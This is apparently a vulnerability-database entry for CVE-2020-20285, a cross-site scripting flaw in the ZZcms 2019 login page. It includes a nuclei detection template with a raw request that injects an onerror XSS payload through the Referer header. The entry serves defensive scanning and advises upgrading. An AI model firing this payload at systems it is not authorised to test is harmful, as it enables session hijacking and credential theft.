HexBrain

Browse / CVEs / CVE-2020-20285

CVE-2020-20285· zzcms / zzcms· CWE-79

ZZcms - Cross-Site Scripting

mediumseverity
5.4CVSS score
1.4%likelihood of exploitation, next 30 days
73%of all CVEs are less likely
Readycheck to confirm it

ZZcms 2019 contains a cross-site scripting vulnerability in the user login page. An attacker can inject arbitrary JavaScript code in the referer header via user/login.php, which can allow theft of cookie-based credentials and launch of subsequent attacks.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.

Fix

Upgrade to the latest version to mitigate this vulnerability.

How to confirm it

Send: GET /user/login.php
Positive when: contains "fromurl\" type=\"hidden\" value=\"xss\"/><img src=\"#\" onerror=\"a…" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2020-20285 -u <target>

The full check
id: CVE-2020-20285

info:
  name: ZZcms - Cross-Site Scripting
  author: edoardottt
  severity: medium
  description: |
    ZZcms 2019 contains a cross-site scripting vulnerability in the user login page. An attacker can inject arbitrary JavaScript code in the referer header via user/login.php, which can allow theft of cookie-based credentials and launch of subsequent attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://github.com/iohex/ZZCMS/blob/master/zzcms2019_login_xss.md
    - https://nvd.nist.gov/vuln/detail/CVE-2020-20285
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2020-20285
    cwe-id: CWE-79
    epss-score: 0.01407
    epss-percentile: 0.72841
    cpe: cpe:2.3:a:zzcms:zzcms:2019:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: zzcms
    product: zzcms
    fofa-query: zzcms
  tags: cve2020,cve,zzcms,xss,vuln

http:
  - raw:
      - |
        GET /user/login.php HTTP/1.1
        Host: {{Hostname}}
        Referer: xss"/><img src="#" onerror="alert(document.domain)"/>

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'fromurl" type="hidden" value="xss"/><img src="#" onerror="alert(document.domain)"/>'

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from